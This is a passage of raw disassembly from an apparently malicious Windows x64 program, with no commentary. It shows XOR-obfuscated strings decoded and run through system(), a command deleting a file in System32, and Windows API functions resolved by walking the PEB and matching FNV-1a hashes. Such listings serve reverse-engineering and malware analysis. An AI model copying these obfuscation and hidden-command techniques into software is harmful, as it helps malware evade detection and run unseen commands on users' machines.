movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov eax, dword [rax + 0xa0]
mov dword [rcx + 0xa0], eax
xor r8d, r8d
lea edi, [r8 + 0x1f]
cmp r13d, 2
jl 0x14000a371
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x14000a260
cmp r8d, 0xa4
jge 0x14000a3b3
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa4
jl 0x14000a380
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083e58]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140083e68]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140083e78]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140083e80]
mov word [rbp - 0x48], ax
xor r8d, r8d
cmp r13d, 2
jl 0x14000a54b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a440
cmp r8d, 0x2a
jge 0x14000a590
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14000a560
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_reg_changer.exe
jmp 0x140009102
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r15d, 4
mov edx, r15d
mov rsi, qword [rbp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea edx, [r15 - 1]
mov r14, qword [rbp + 0x58]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
lea edx, [r15 - 0x14]
mov r8d, 0x90000000
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
lea ecx, [r15 - 3]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rbp + 0x780], 0
mov dword [rbp + 0x788], ebx
mov dword [rbp + 0x78c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x90000000
lea rcx, [rbp + 0x780]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov ecx, dword [rbp + 0x78c]
mov r9d, dword [rbp + 0x784]
sub ecx, r9d
mov eax, dword [rbp + 0x788]
mov r8d, dword [rbp + 0x780]
sub eax, r8d
mov dword [rsp + Ordinal_50], 0x30
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
movups xmm0, xmmword [0x140083790]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1400837a0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1400837b0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x1400837c0]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x1400837d0]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [0x1400837e0]
movups xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [0x1400837f0]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x140083800]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x140083810]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x140083820]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [str.IXUJ_b:]
mov dword [rbp + 0x158], eax
movzx eax, word [0x14008382c]
mov word [rbp + 0x15c], ax
xor r8d, r8d
lea ebx, [r15 + 0x1b]
cmp r13d, 2
jl 0x14000a871
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, ebx
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000a760
cmp r8d, 0x9e
jge 0x14000a8b3
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x14000a880
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083bd0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140083be0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140083bf0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x140083c00]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x140083c10]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [0x140083c20]
movups xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [0x140083c30]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x140083c40]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x140083c50]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x140083c60]
movsd qword [rbp + 0x150], xmm0
cmp r13d, 2
jl 0x14000aaa7
movdqa xmm5, xmmword [0x14008c670]
xor edx, edx
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, ebx
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x14000a9a0
jmp 0x14000aaf3
lea r9, [rbp + 0xc0]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x14000aac0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083e10]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140083e20]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140083e30]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140083e40]
movups xmmword [rbp - 0x40], xmm1
mov eax, dword [0x140083e50]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x140083e54]
mov byte [rbp - 0x2c], al
xor r8d, r8d
cmp r13d, 2
jl 0x14000ac9b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, ebx
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14000ab90
cmp r8d, 0x45
jge 0x14000ace0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x14000acb0
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140083acc]
mov dword [rsp + 0x48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000ad9a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000ad9a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8bb67ffa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000ad95
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000ad70
cmp r8d, 0xb55e40a3
je 0x14000ada2
test r9d, r9d
jne 0x14000ad40
mov rax, qword [rax]
jmp 0x14000ad10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp r13d, 2
jl 0x14000ae55
movdqa xmm3, xmmword [0x14008c670]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008c6c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008c6c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
mov eax, Ordinal_32
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14008c690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rsp + 0x48]
pxor xmm2, xmm0
movd dword [rsp + 0x48], xmm2
jmp 0x14000ae8f
lea r9, [rsp + 0x48]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r15d
jl 0x14000ae60
lea rcx, [rsp + 0x48]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000af3a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000af3a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x80b8ad40
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000af35
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000af10
cmp r8d, 0xfc6b506c
je 0x14000af42
test r9d, r9d
jne 0x14000aee0
mov rax, qword [rax]
jmp 0x14000aeb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, Ordinal_301
mov ecx, 0x1f4
call rax
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082bd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082c30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082bd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082c30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140082b64]
